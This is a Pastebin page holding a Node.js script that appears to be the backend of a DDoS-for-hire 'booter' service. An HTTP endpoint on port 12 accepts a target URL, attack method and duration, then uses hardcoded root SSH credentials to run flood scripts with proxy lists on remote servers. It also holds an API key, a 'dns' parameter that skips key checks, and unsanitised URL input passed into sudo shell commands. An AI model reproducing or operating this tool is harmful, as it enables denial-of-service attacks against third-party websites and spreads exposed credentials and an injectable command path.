Advertisement
Arbitrator

Untitled

Jan 2nd, 2020
7,975
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.68 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17. {
  18. ip: "45.80.150.3",
  19. username: "root",
  20. password: "wcEExhgbVdJwksk6JnDaKNwmY"
  21. }
  22. ]
  23.  
  24.  
  25. var keys = [{
  26. key: "RxdsxYDb2!ikTDjcfJJ7k*JLC&Ck6dheL&n",
  27. concurrents: 4,
  28. maxtime: 2500,
  29. attacks: 0,
  30. admin: true
  31. }]
  32.  
  33.  
  34. process.on('uncaughtException', function(e) {
  35. console.warn(e);
  36. });
  37.  
  38. process.on('unhandledRejection', function(e) {
  39. console.warn(e);
  40. });
  41. var client = new net.Socket();
  42.  
  43. var httpServer = http.createServer().on('request', function(request, response) {
  44. if (request.url.startsWith("/attack")) {
  45. request.query = url.parse(request.url, true).query;
  46. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  47. if (!request.query.url) {
  48. return response.end('{"error": "No URL mentioned."}');
  49. }
  50. if (!request.query.time) {
  51. return response.end('{"error": "No time given"}');
  52. }
  53. if (!request.query.method) {
  54. return response.end('{"error": "No method given"}');
  55. }
  56. if (request.query.key || request.query.dns) {
  57. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  58. if (request.query.keydb || request.query.dns) {
  59. if (request.query.dns) {
  60. request.query.keydb = {
  61. concurrents: 1e3,
  62. maxtime: 1e6,
  63. attacks: -1e6
  64. };
  65. }
  66. if (request.query.method == 'STOPALL') {
  67. if (request.query.keydb.admin) {
  68. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  69. response.end("Attack has been sent on " + request.query.url);
  70. }
  71. }
  72. else if (request.query.method == 'SPAMGET') {
  73. if (request.query.keydb.admin) {
  74. execute("sudo node spam.js " + request.query.url + " get" + " ua.txt" + " proxies.txt" + " 4 " + request.query.time);
  75. response.end("Attack has been sent on " + request.query.url);
  76. }
  77. }
  78. else if (request.query.method == 'SPAMPOST') {
  79. if (request.query.keydb.admin) {
  80. execute("sudo node spam.js " + request.query.url + " post" + " ua.txt" + " proxies.txt" + " 4 " + request.query.time);
  81. response.end("Attack has been sent on " + request.query.url);
  82. }
  83. }
  84. else if (request.query.method == 'BYPASS') {
  85. if (request.query.keydb.admin) {
  86. execute("sudo node bypass.js " + request.query.url + " " + request.query.time + " GET");
  87. response.end("Attack has been sent on " + request.query.url);
  88. }
  89. }
  90.  
  91. else if (request.query.method == 'STOP') {
  92. if (request.query.keydb.admin) {
  93. execute("sudo pkill " + request.query.url + " -f");
  94. response.end("Stopped attack on " + request.query.url);
  95. }
  96. }
  97. } else {
  98. response.end("Wrong key");
  99. }
  100. } else {
  101. response.end("No key was mentioned.");
  102. }
  103. } else {
  104. response.setHeader('content-type', 'text/html');
  105. return response.end('maintenance');
  106. }
  107. }).listen(12);
  108.  
  109. function execute(command, serversLimit) {
  110. servers.forEach(function(server) {
  111. var conn = new Client();
  112. conn.on('ready', function() {
  113. // console.log('Client :: ready');
  114. conn.exec(command, function(err, stream) {
  115. if (err) throw err;
  116. stream.on('close', function(code, signal) {
  117. // console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  118. conn.end();
  119. }).on('data', function(data) {
  120. // console.log('STDOUT: ' + data);
  121. }).stderr.on('data', function(data) {
  122. // console.log('STDERR: ' + data);
  123. });
  124. });
  125. }).connect({
  126. host: server.ip,
  127. port: 22,
  128. username: server.username,
  129. password: server.password
  130. });
  131. });
  132. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement